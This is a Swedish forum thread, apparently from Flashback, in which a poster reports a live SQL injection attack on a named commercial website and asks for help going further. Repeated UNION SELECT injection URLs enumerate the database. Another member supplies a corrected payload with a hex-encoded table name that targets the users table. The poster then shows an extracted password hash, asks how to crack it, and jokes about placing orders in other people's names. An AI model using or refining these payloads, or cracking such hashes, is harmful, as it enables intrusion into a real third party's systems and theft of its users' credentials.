Haha tackar, äventyret fortsätter på min resa till att lära mig hur det fungerar..
Har börjat lära mig lite osv...
Men jag har några frågor ..
Jag kunde ju få fram all information i alla tabeller & så..
Fast de stod "inget" om phpmyadmin ( alltså username & password tex.. )
Vart lagras detta då? går det att få "tag" i det ? ^^
In computer terminology, a honeypot is a trap set to detect, deflect, or in some manner counteract attempts at unauthorized use of information systems. Generally it consists of a computer, data, or a network site that appears to be part of a network, but is actually isolated and monitored, and which seems to contain information or a resource of value to attackers.
http://www.gocontempo.com/pages.php?id=-3 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14 from information_schema.columns where table_schema=database()--
Där fastna jag..
Jag är ju inne om man säger så :P Jag får fram columns från hela "databasen" men inte från en viss speciell tabell...
Och jag försöker med
ID
campainID
som finns på adtrackz_actions ( bara för att leka med tanken )
Fast sidan är hel tom.. Som om det inte finns information där inne..
Har fastnat så.. Ni kan väl försöka hjälpa mig (h) eller göra det & se och säga hur/eller vad "felet" var jag gjorde
http://www.gocontempo.com/pages.php?id=-3 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14 from information_schema.columns where table_schema=database()--
Där fastna jag..
Jag är ju inne om man säger så :P Jag får fram columns från hela "databasen" men inte från en viss speciell tabell...
Och jag försöker med
ID
campainID
som finns på adtrackz_actions ( bara för att leka med tanken )
Fast sidan är hel tom.. Som om det inte finns information där inne..
Har fastnat så.. Ni kan väl försöka hjälpa mig (h) eller göra det & se och säga hur/eller vad "felet" var jag gjorde
Såhär ska man göra:
Citat:
http://www.gocontempo.com/pages.php?id=-3 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14 from information_schema.columns where table_name=0x74626c7573657273--
http://www.gocontempo.com/pages.php?id=-3 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14 from information_schema.columns where table_schema=database()--
Där fastna jag..
Jag är ju inne om man säger så :P Jag får fram columns från hela "databasen" men inte från en viss speciell tabell...
Och jag försöker med
ID
campainID
som finns på adtrackz_actions ( bara för att leka med tanken )
Fast sidan är hel tom.. Som om det inte finns information där inne..
Har fastnat så.. Ni kan väl försöka hjälpa mig (h) eller göra det & se och säga hur/eller vad "felet" var jag gjorde
Nah, inte riktigt.. Fast detta är bara till mig själv som utbildningssyfte hihi
Och man kan nog förstöra det för dom.. Fast lite elakt dock :P du kan "beställa" saker till andra människor osv lol ^^
Fast fast, någon som kan hjälpa mig vidare där? (A)
Du kanske missade att ant' visade dig på ett extremt exemplariskt sätt hur man skall gå tillväga?
Citat:
Ursprungligen postat av ant'
Såhär ska man göra:
Citat:
http://www.gocontempo.com/pages.php?id=-3 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14 from information_schema.columns where table_name=0x74626c7573657273--
Du kanske missade att ant' visade dig på ett extremt exemplariskt sätt hur man skall gå tillväga?
Ja, jag missade det ^^
Skuille hexat tblusers ( 74626c7573657273 ) .. Då fick jag fram info om columbs för tblusers tabellen sen är det bara att plocka ut information
^^
Fast jag har försökt hittat "dekrypterare" till MD5 ( antar att 043d9d7cd5afa18257b77164bc91205e
är MD5? ) :P står "no result found" på vissa sidor..
Kan man inte köra ett enkelt php script som konverterar md5 till string? så som md5(hej) = krypterat hej ..
Ja, jag missade det ^^
Skuille hexat tblusers ( 74626c7573657273 ) .. Då fick jag fram info om columbs för tblusers tabellen sen är det bara att plocka ut information
^^
Fast jag har försökt hittat "dekrypterare" till MD5 ( antar att 043d9d7cd5afa18257b77164bc91205e
är MD5? ) :P står "no result found" på vissa sidor..
Kan man inte köra ett enkelt php script som konverterar md5 till string? så som md5(hej) = krypterat hej ..
Flashback finansieras genom donationer från våra medlemmar och besökare. Det är med hjälp av dig vi kan fortsätta erbjuda en fri samhällsdebatt. Tack för ditt stöd!
